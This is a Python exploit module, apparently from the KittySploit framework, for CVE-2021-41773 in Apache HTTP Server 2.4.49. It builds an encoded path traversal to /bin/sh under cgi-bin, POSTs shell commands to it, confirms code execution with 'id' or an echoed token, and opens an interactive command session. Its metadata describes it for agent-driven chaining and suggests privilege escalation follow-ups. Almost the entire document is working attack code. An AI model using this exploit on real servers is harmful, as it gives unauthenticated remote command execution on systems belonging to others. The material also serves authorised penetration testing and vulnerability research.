Apache HTTP Server 2.4.49 - CGI Path Traversal RCE (CVE-2021-41773)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache HTTP Server 2.4.49 CGI path-traversal RCE (CVE-2021-41773) — opens execute session."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Apache HTTP Server 2.4.49 - CGI Path Traversal RCE (CVE-2021-41773)',
        'description': (
            'Exploits CVE-2021-41773 by POSTing shell commands to an encoded path ending '
            'in bin/sh under a mapped Alias/ScriptAlias (cgi-bin/icons). Opens an interactive '
            'execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-41773'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://httpd.apache.org/security/vulnerabilities_24.html',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-41773',
        ],
        'tags': ['apache', 'httpd', 'rce', 'path-traversal', 'unauth', 'kev', 'cve-2021-41773'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'post/shell/multi/gather/privesc_suggester',
                    'scanner/http/cve_2021_41773_detect',
                ],
            },
        },
    }

    cgi_prefix = OptString('/cgi-bin', 'Mapped Alias/ScriptAlias prefix', required=False)

    def _sh_path(self) -> str:
        prefix = str(self.cgi_prefix or '/cgi-bin').rstrip('/')
        trav = '/.%2e/' + ('%2e%2e/' * 7)
        return f'{prefix}{trav}bin/sh'

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace('\r', '').replace('\n', ';')
        r = self.http_request(
            method='POST',
            path=self._sh_path(),
            data=f'A=|echo;{safe}',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2021-41773 confirmed: id via CGI bin/sh',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'No command output observed (needs ScriptAlias + cgi)',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()